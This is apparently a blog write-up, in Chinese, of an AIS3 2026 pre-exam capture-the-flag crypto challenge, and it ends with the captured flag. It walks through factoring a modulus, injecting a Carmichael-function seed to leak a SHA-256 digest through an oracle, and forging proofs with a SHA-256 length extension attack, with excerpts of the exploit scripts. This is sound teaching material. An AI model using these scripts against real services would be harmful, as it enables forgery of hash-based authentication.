  • verifier/chal.py:負責處理與使用者的互動與 Challenge 邏輯。
  • shared/zkp.py:負責處理 SHA-256 Digest 的 Hash 計算與 Proof 生成邏輯。

這是一個類似零知識證明 (Zero-Knowledge Proof) 的協議,伺服器允許我們透過 Oracle 來測試自訂參數,最終目標是通過連續 16 回合的 Challenge 才能獲得 Flag。

解題過程

1. 觀察 Proof 計算與模冪漏洞

閱讀 zkp.py 中的 compute_proof_from_digest 函數,可以發現這段程式碼會將 256-bit 的 SHA-256 Digest 逐 bit 處理:

  • 若 bit 為 1:執行 value = pow(value, seed, N)
  • 若 bit 為 0:執行 value = (value + seed) % N

同時,題目給定了模數 $N = 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939$。
因為這是一個經典的 RSA $N = p \times q$,且我們可以直接透過線上工具或演算法將其因式分解,找出 $p, q$。
知道 $p, q$ 後,我們可以計算出卡邁克爾函數 (Carmichael function):

1
2
3
4
5
6
import math
p = 1062991560384192946446466724143851978243633013
q = 1289837564986090927380812179078126226643568303
N = p * q
L = math.lcm(p - 1, q - 1)
L_inv = pow(L, -1, N)

根據尤拉定理,只要 $v$ 與 $N$ 互質,$v^L \equiv 1 \pmod N$。
這代表如果我們在呼叫 Oracle 時,故意將 seed 注入為 $L$,那麼每次遇到 1-bit,數值都會被重置為 1;而遇到 0-bit 則是單純加上 $L$。這導致了最終的 Proof 值只會保留「最後一個 1-bit 後方連續的 0-bit 數量」!

公式為:$P \equiv 1 + Z_{last} \cdot L \pmod N$

2. 透過 Oracle 提取完整 256-bit Digest

知道漏洞後,我們可以計算出最後一個 1-bit 的精確位置 $k = 255 - Z_{last}$。
由於伺服器的 Oracle 提供了 f (bit flip) 參數,允許我們翻轉 Digest 中特定的 bit:

  • 我們先送出一次請求得到 Proof,計算出最後一個 1-bit 的位置。
  • 利用 bit flip 將該位置的 1 翻轉成 0。
  • 重複以上步驟,我們就能一路往前推算,得到前一個 1-bit 的位置。

因為 Oracle 允許最多 128 次查詢,而一串 256-bit 的 Hash 平均大約只有 128 個 1-bit,我們只要寫個迴圈一直翻轉,就能精準還原出整個 256-bit 的 SHA-256 內部狀態。

我們撰寫 extract_full.py 來自動化這個過程,提取出 sha256(FLAG + user_part_oracle + server_part_oracle) 的結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# extract_full.py (節錄核心邏輯)
def get_bit_positions():
# ... 連線並傳送注入了 L 的 nonce ...
ones = []
for step in range(128):
P = get_proof()
if P == (256 * L) % N:
print(f"[+] All 1-bits cleared! Found {len(ones)} 1-bits.")
break

# 計算後面有幾個 0,進而推算最後一個 1 的位置
Z_last = ((P - 1) * L_inv) % N
k = 255 - Z_last
ones.append(k)

# 翻轉該 bit 為 0
flip_bit(k)

return server_part_b64, user_part_raw, ones

server_part_b64, user_part_raw, ones = get_bit_positions()

# 重建完整的 256-bit digest
digest_bits = [0] * 256
for idx in ones:
digest_bits[idx] = 1

digest_bytes = bytearray(32)
for i in range(256):
byte_idx = i // 8
bit_idx = i % 8
if digest_bits[i]:
digest_bytes[byte_idx] |= (1 << (7 - bit_idx))

print(f"Extracted Digest (hex): {digest_bytes.hex()}")
# 最後將提取出來的 state 存入 full_digest.txt 供後續使用

3. 利用長度擴展攻擊 (LEA) 繞過驗證

接下來要通過 Challenge,我們需要給出正確的 Proof。
Challenge 會隨機產生一段新的 server_part_challenge,並要求我們計算:
sha256(FLAG + decode_suffix(shown_nonce) + server_part_challenge)

我們將提交的 shown_nonce 精心構造為 user_part_oracle + server_part_oracle + padding,這樣 Challenge 計算的 Hash 就會變成:
sha256(FLAG + user_part_oracle + server_part_oracle + padding + server_part_challenge)

這正是經典的長度擴展攻擊 (Length Extension Attack, LEA)!
前方的區塊剛好等於我們剛剛從 Oracle 提取出來的 Hash。我們實作了一個純 Python 的 SHA-256 擴展腳本 lea.py,以剛剛的 256-bit 狀態為基底,繼續 Hash 剩下的 server_part_challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# lea.py (節錄核心擴展邏輯)
def sha256_extend(state_hex, appended_data, length_before_appended_data):
# 載入前一步提取出的 Hash 狀態
h = [int(state_hex[i:i+8], 16) for i in range(0, 64, 8)]

total_length = length_before_appended_data + len(appended_data)
total_length_bits = total_length * 8

message = appended_data
# 構造新的 padding,補上最終的總長度
padding_len = (56 - 1 - (total_length % 64)) % 64
new_padding = b"\x80" + b"\x00" * padding_len + struct.pack(">Q", total_length_bits)
message += new_padding

# 用舊狀態繼續壓縮新的區塊
for i in range(0, len(message), 64):
h = sha256_compress(h, message[i:i+64])

return b"".join(struct.pack(">L", x) for x in h).hex()

4. 爆破 FLAG 長度並獲取 Flag

長度擴展攻擊需要知道原始訊息的精確長度來計算初次的 padding。
因為我們並不知道 FLAG 的實際長度,但 Challenge 如果驗證失敗,會在第一回合就斷線。
因此,我們撰寫了 solve_len.py,自動從長度 5 開始往上窮舉,只要連線沒斷就代表長度猜對了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# solve_len.py (節錄核心邏輯)
def play_all_rounds(flag_len):
total_len = flag_len + len(user_part_raw) + 32 # FLAG + user_part + server_part_oracle
total_len_bits = total_len * 8

# 構造出符合長度的假 Padding
padding = b"\x80" + b"\x00" * ((56 - 1 - (total_len % 64)) % 64) + struct.pack(">Q", total_len_bits)
shown_nonce_raw = user_part_raw + decode_suffix(server_part_oracle_b64) + padding
shown_nonce_b64 = base64.urlsafe_b64encode(shown_nonce_raw).decode()

# ... (建立 Socket 連線進入 Challenge 模式) ...

length_before = ((total_len + len(padding)) // 64) * 64
if (total_len + len(padding)) % 64 != 0:
length_before = ((total_len + len(padding)) // 64 + 1) * 64

for i in range(16):
# 讀取 server 隨機給的 suffix
server_part_challenge_b64 = read_until("server suffix = ").split("=")[1].strip()
f.write(shown_nonce_b64 + "\n")

# 呼叫 lea.py 生成被竄改過的新 Digest
out = subprocess.check_output(["python3", "lea.py", digest_hex, server_part_challenge_b64, str(length_before)])
new_digest = bytes.fromhex(out.decode().strip())

# ... (利用新 Digest 算出預期的 proof 並送出) ...

# 如果驗證錯誤會直接收到 wrong 並斷線
line = f.readline()
if "wrong" in line:
return False

# 如果 16 關全過,就能拿到 Flag
flag_data = read_until("AIS3{")
if flag_data:
print(f"\n[+] FLAG FOUND for length {flag_len}!!!")
print("AIS3{" + flag_data.split("AIS3{")[1].strip())
return True

# 從 5 猜到 100
for flag_len in range(5, 100):
print(f"[*] Testing FLAG length: {flag_len}...")
if play_all_rounds(flag_len):
sys.exit(0)

執行這個腳本後,當長度猜測到 62 時,伺服器沒有斷線,我們順利通過了連續 16 回合的 Challenge 驗證,成功拿到 Flag。

Flag

1
AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}

2026 AIS3 pre-exam writeup
https://blog.fishbaby1011.com/post/ais3-2026-pre-exam-writeup/
作者
fishbaby1011
發布於
2026年5月26日
許可協議